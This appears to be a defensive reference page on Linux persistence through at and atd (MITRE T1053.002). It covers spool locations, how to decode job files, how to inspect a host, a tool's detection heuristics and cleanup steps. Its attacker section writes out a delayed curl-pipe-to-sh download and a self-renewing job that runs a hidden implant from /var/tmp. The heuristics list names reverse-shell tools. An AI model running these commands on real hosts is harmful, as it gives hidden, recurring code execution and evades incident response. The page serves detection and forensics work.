On a schedule
At Jobs: Linux Persistence with atd and the at Spool
How attackers use at and atd for delayed or self-renewing jobs on Linux, what a spool file reveals about who queued it, and how to list and remove jobs.
- MITRE ATT&CK
- T1053.002
- Tactics
- Persistence, Execution, Privilege escalation
- Runs
- On a schedule
- Set up by
- Users and root
- Locations
- /var/spool/cron/atjobs/*
- /var/spool/at/*
- /etc/at.allow
- /etc/at.deny
How it works
at queues commands to run once at a given time (at 02:00, at now + 1 hour, at -f script tomorrow); batch queues them to run when the load average drops. The atd daemon runs them.
When a job is queued, at writes a shell script into the spool. The script recreates the submitter's context: every exported environment variable except a few such as TERM, DISPLAY and _, the umask, and the working directory, followed by the commands. The job runs as the submitting user, through ${SHELL:-/bin/sh}, and its output is mailed to that user.
The spool file name encodes the job: a queue letter (a by default, b for batch, = while the job runs), a five-digit hex job number, and the start time as eight hex digits of minutes since the Unix epoch, in UTC. a0001b01c8806a is job 27 in queue a, due at 2026-11-18 21:30 UTC. Jobs survive a reboot; atd runs overdue jobs when it starts. Once a job has run, atd deletes its file, so the spool only ever shows what is still pending.
A single job is not persistence. It becomes persistence when the job queues its successor, and it is useful to an intruder as a delayed trigger (fire after the responders have left, or after a reboot) and as a way to detach a process from an SSH session, since its parent becomes atd.
Who may queue jobs is set by /etc/at.allow (only those listed) or, when it is absent, /etc/at.deny (everyone except those listed). With neither file, only root may. Debian ships an at.deny listing many system accounts. The at package is often missing from minimal and cloud images, so an installed and running atd on such a host is itself worth a question.
The spool path differs by family: /var/spool/cron/atjobs on Debian and Ubuntu, /var/spool/at on RHEL, Fedora and SUSE.
Where it lives
| Path | What | Who can write it |
|---|---|---|
/var/spool/cron/atjobs/<job> | Queued jobs, Debian and Ubuntu | root; users through at |
/var/spool/at/<job> | Queued jobs, RHEL, Fedora, SUSE | root; users through at |
/var/spool/cron/atspool/, /var/spool/at/spool/ | Output of jobs that are running | atd |
<spool>/.SEQ | Last job number used | at |
/etc/at.allow, /etc/at.deny | Who may use at | root |
atd.service | The daemon that runs the queue | root |
How attackers use it
A delayed download
echo 'curl -fsS https://example.com/a.sh | sh' | at now + 6 hours
Nothing runs while the intruder is connected, and nothing appears in crontabs or unit folders.
A self-renewing job
The job runs the implant, then queues itself again from a copy kept on disk. Queue it once with at -f /var/tmp/.r now:
# /var/tmp/.r
/var/tmp/.r.bin >/dev/null 2>&1 &
at -f /var/tmp/.r now + 30 minutes 2>/dev/null
The spool always holds exactly one job, but its number keeps rising and the .SEQ counter grows with it.
What the spool file looks like
The environment block is the responder's friend: a job queued from an SSH session carries SSH_CONNECTION with the source address.
#!/bin/sh
# atrun uid=1001 gid=1001
# mail alice 0
umask 22
SSH_CONNECTION=198.51.100.9\ 50122\ 192.0.2.10\ 22; export SSH_CONNECTION
PWD=/home/alice; export PWD
cd /home/alice || {
echo 'Execution directory inaccessible' >&2
exit 1
}
${SHELL:-/bin/sh} << 'marcinDELIMITER4d2f1a7e'
/var/tmp/.r.bin >/dev/null 2>&1 &
at -f /var/tmp/.r now + 30 minutes 2>/dev/null
marcinDELIMITER4d2f1a7e
For recurring schedules intruders usually prefer cron or systemd timers; systemd-run --on-active= is the systemd way to get an at-style one-shot job.
How to check a host
On a live host
sudo atq # as root: every user's jobs (number, time, queue, owner)
sudo at -c 27 # print job 27 exactly as atd will run it
sudo ls -la --time-style=full-iso /var/spool/cron/atjobs # /var/spool/at on RHEL
systemctl is-enabled atd; systemctl is-active atd
cat /etc/at.allow /etc/at.deny 2>/dev/null
journalctl -u atd --since -30d
dpkg -V at # RHEL: rpm -V at
atq and at -c only read the queue. For each job, read the command block and the environment above it: SSH_CONNECTION, SSH_CLIENT, USER, PWD and OLDPWD say who queued it, from where, and from which folder.
Offline or from a collection
List the spool folder from the image and decode each file name: queue, job number, due time (UTC). The file's own mtime is when the job was queued, which you can match against /var/log/auth.log or /var/log/secure and the journal for the session in SSH_CONNECTION.
Jobs that already ran are gone from the spool. Look for traces elsewhere: atd's log lines in syslog or the journal, leftovers in atspool, and a .SEQ counter that is high on a host where nobody uses at. Spool files are never packaged, so there is no dpkg or rpm verdict on them; check the at binaries themselves with dpkg -V at or rpm -V at.
Linux Persistence reads the spool offline: run the collection command, which includes /var/spool/cron and /var/spool/at, and drop the archive.
What Linux Persistence flags
Every file in /var/spool/cron/atjobs and /var/spool/at (except .SEQ) becomes one entry. The tool decodes the job number and due time from the file name, takes the owner from the # mail header line, records the queue letter, and keeps the commands that follow at's environment and cd preamble.
Those commands go through the shared command heuristics:
- Downloads and runs code: a fetcher such as
curlorwgetpiped into a shell or interpreter, or a download that is then made executable or run from a temporary folder. - Reverse or bind shell:
/dev/tcp,nc -e,socat exec:, amkfiforelay or a scripted socket. - Decodes and runs a payload: base64 or hex decoded into an interpreter, or
evalof a decoded string. - Interpreter with inline code:
python -c,perl -eand similar. - Detaches from the session:
nohup,setsid,disown,screen -dm,tmux new -d. - Runs from a temporary folder and Runs from a hidden folder: paths under
/tmp,/var/tmp,/dev/shm, or a dot-folder that is not a usual application folder. - Sets LD_PRELOAD, Turns shell history off, Makes a file immutable and Embedded encoded blob where the command contains them.
Spool files get no package verdict. Changed date marks a job file written in the 7 days before the newest file in the collection, and program also runs from mechanisms marks a program that another mechanism also starts, a common pairing with cron.
Limits: only jobs still queued at collection time exist. The environment block is not checked, so an exported LD_PRELOAD there is not flagged and SSH_CONNECTION is not extracted: read it yourself. at.allow, at.deny and whether atd is running are not evaluated.
Cleaning up
- Preserve first: copy the spool folder with
sudo cp -a(times kept), savesudo at -c <n>for each job, and hash the files. - Kill running instances of the payload, then remove every job with
sudo atrm <n>, and delete the script the job re-queues from; otherwise a running copy can queue a new job between your steps. Runsudo atqagain to confirm the queue is empty. - If the host does not need
at, stop it withsystemctl disable --now atd, or list the account in/etc/at.deny. - Check cron tables, timers and units for the same payload path, and hunt for the address in
SSH_CONNECTIONacross your other hosts. - Rotate the credentials of the account that queued the job, and its SSH keys.
References
See also
Related techniques
On Linux Forensics
The artifacts behind this technique, in the Linux Forensics reference: